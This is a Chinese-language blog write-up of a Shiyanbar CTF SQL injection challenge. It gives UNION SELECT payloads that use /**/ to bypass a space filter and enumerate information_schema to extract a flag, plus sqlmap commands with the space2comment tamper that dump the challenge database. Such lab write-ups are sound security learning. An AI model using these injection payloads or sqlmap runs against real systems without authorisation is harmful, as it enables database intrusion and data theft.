简单的sql注入——实验吧

刚刚做了实验吧的题目，现在整理一下

写出解题思路，希望能够帮助到那些需要帮助的人

所有的wp都是以一题一篇的形式写出

主要是为了能够让读者更好的阅读以及查找，

希望你们不要责怪！！共勉！！！

永远爱你们的————新宝宝

 

简单的sql注入分值：10

• 来源： 实验吧
• 难度：中
• 参与人数：18007人
• Get Flag：5644人
• 答题人数：6513人
• 解题通过率：87%

 

 

通过注入获得flag值（提交格式：flag{}）。

解题链接： http://ctf5.shiyanbar.com/423/web/ 

解题思路：这一题涵盖的内容不多，但是也让我有了一些进步（毕竟我还是萌新呀！！）

 

第一种方法：

首先：进行简单的手工注入：

 

        1 and 1=1，通常这种情况会正常返回数据

        1 and 1=2，通常这种情况不会返回数据或者直接报错

或者

• 1’ and ‘1’=’1，通常这种情况会正常返回数据

• 1’ and ‘1’=’2，通常这种情况不会返回数据或者直接报错

• • 分析：
  • 假如后台处理数据的sql语句(后台在输入上加了单引号)是：

select name from user where id='our_input'

• • 我们输入1’ and ‘1’=’1，sql语句变为:

select name from user where id='1' and '1'='1'

       后台数据库仍然正常读取数据

       我们输入1’ and ‘1’=’2，sql语句变为：

select name from user where id='1' and '1'='2'

• • 这样查询条件为假，数据库不能读取数据。

 基于上述的方式进行注入，我们首先使用 1and 1=1

如何 1 and 1=1'

出现错误了，然后，我们再输入：1and 1=1

 

就会发现and被过滤了并且空格被替换为+，因此我们可以推断，这个题过滤了常用的sql命令，

可以输入union and select from进行下测试，发现果然全被过滤掉了

 

 这个时候我们需要知道：当空格被过滤的时候，通常用（）或者/**/代替空格

那么我们可以选择爆库：

1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

　　

就会得到：

再找一下表：

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

　　

发现有flag的表，很开森就继续爆flag:

1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/'1'='1

 

然而出现了错误（QAQ)

那么我们直接查询其内容吧：

1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

就会得到：

 

第二题：

使用sqlmap也是可以的

这里我们会用到tamper,是Python写的，sqlmap一般自带，主要的作用是绕过WAF ，空格被过滤可以使用space2comment.py,

过滤系统对大小写敏感可以使用randomcase.py等等。
这里用的level参数是执行测试的等级(1-5,默认为1) ，sqlmap默认测试所有的GET和POST参数,当–level的值大于等于2的时候也会

测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值

首先爆库：

python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --tamper=space2comment --dbs

其中：1.sqlmap：启动sqlmap。2.-u：参数 指目标的URL。3.--tamper：绕过WAF脚本。

4.space2comment ：tamper脚本之一用于绕过过滤空格。5.--dbs列举数据库

 

然后在web1数据库中查找：

python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --tamper=space2comment -D web1 --table

 其中：1.-D：后面跟数据库的名字。2.--tables：列举库中的表格

 

 然后在flag表中继续查找

python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --tamper=space2comment -D web1 -T flag --colum

其中：1.-T：后面跟表格名字。2.--column列举表格中的列名

 

继续进行就会得到最后的结果：

其中：1.-C后面跟列的名字。2.--dump取出表单所有记录

 

您可以考虑给博主来个小小的打赏以资鼓励，您的肯定将是我最大的动力。

作者：落花四月

出处：https://www.cnblogs.com/lxz-1263030049/

关于作者：潜心于网络安全学习。如有问题或建议，请多多赐教！

版权声明：本文版权归作者和博客园共有，欢迎转载，但未经作者同意必须保留此段声明，且在文章页面明显位置给出原文连接.

特此声明：所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误，共同进步。或者直接私信我

声援博主：如果您觉得文章对您有帮助，可以点击文章右下角【推荐】一下。您的鼓励是作者坚持原创和持续写作的最大动力！